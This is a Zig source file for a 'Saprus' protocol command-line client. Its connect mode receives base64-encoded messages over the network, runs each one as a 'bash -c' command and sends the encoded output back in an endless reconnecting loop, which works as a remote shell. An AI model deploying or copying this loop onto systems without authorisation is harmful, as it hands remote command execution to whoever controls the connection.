const is_debug = builtin.mode == .Debug; const help = \\-h, --help Display this help and exit. \\-r, --relay A relay message to send. \\-d, --dest An IPv4 or <= 4 ASCII byte string. \\-c, --connect A connection message to send. \\ ; const Option = enum { help, relay, dest, connect }; const to_option: StaticStringMap(Option) = .initComptime(.{ .{ "-h", .help }, .{ "--help", .help }, .{ "-r", .relay }, .{ "--relay", .relay }, .{ "-d", .dest }, .{ "--dest", .dest }, .{ "-c", .connect }, .{ "--connect", .connect }, }); pub fn main(init: std.process.Init) !void { // CLI parsing adapted from the example here // https://codeberg.org/ziglang/zig/pulls/30644 const args = try init.minimal.args.toSlice(init.arena.allocator()); if (args.len == 1) { std.debug.print("{s}", .{help}); return; } var flags: struct { relay: ?[]const u8 = null, dest: ?[]const u8 = null, connect: ?[]const u8 = null, } = .{}; { var payload_buf: [4096]u8 = undefined; var i: usize = 1; while (i < args.len) : (i += 1) { if (to_option.get(args[i])) |opt| { switch (opt) { .help => { std.debug.print("{s}\n", .{help}); return; }, .relay => { i += 1; if (i < args.len) { var w: Writer = .fixed(&payload_buf); try w.printBase64(args[i]); flags.relay = w.buffered(); } else { std.debug.print("-r/--relay requires a string\n", .{}); return error.InvalidArguments; } }, .dest => { i += 1; if (i < args.len) { flags.dest = args[i]; } else { std.debug.print("-d/--dest requires a string\n", .{}); return error.InvalidArguments; } }, .connect => { i += 1; if (i < args.len) { var w: Writer = .fixed(&payload_buf); try w.printBase64(args[i]); flags.connect = w.buffered(); } else { flags.connect = ""; } }, } } else { std.debug.print("Unknown argument: {s}\n", .{args[i]}); return error.InvalidArguments; } } } if (flags.connect != null and (flags.relay != null or flags.dest != null)) { std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{}); return error.InvalidArguments; } var client: SaprusClient = try .init(); defer client.deinit(); if (flags.relay != null) { try client.sendRelay(init.io, flags.relay.?, parseDest(flags.dest)); return; } if (flags.connect != null) { reconnect: while (true) { var connection = try client.connect(init.io, flags.connect.?); while (true) { var res_buf: [2048]u8 = undefined; const next = connection.next(init.io, &res_buf) catch continue :reconnect; const b64d = std.base64.standard.Decoder; var connection_payload_buf: [2048]u8 = undefined; const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)]; b64d.decode(connection_payload, next) catch { // TODO: debug log continue; }; const child = std.process.spawn(init.io, .{ .argv = &.{ "bash", "-c", connection_payload }, .stdout = .pipe, .stderr = .pipe, }) catch continue; var child_stdout: std.ArrayList(u8) = .empty; defer child_stdout.deinit(init.gpa); var child_stderr: std.ArrayList(u8) = .empty; defer child_stderr.deinit(init.gpa); try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048); const b64e = std.base64.standard.Encoder; var cmd_output_buf: [2048]u8 = undefined; const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items); connection.send(init.io, encoded_cmd_output) catch continue; try init.io.sleep(.fromMilliseconds(40), .real); } } } unreachable; } fn parseDest(in: ?[]const u8) [4]u8 { if (in) |dest| { if (dest.len <= 4) { var res: [4]u8 = @splat(0); @memcpy(res[0..dest.len], dest); return res; } const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*; return addr.bytes; } return "disc".*; } const builtin = @import("builtin"); const std = @import("std"); const ArrayList = std.ArrayList; const StaticStringMap = std.StaticStringMap; const zaprus = @import("zaprus"); const SaprusClient = zaprus.Client; const SaprusMessage = zaprus.Message; const Writer = std.Io.Writer;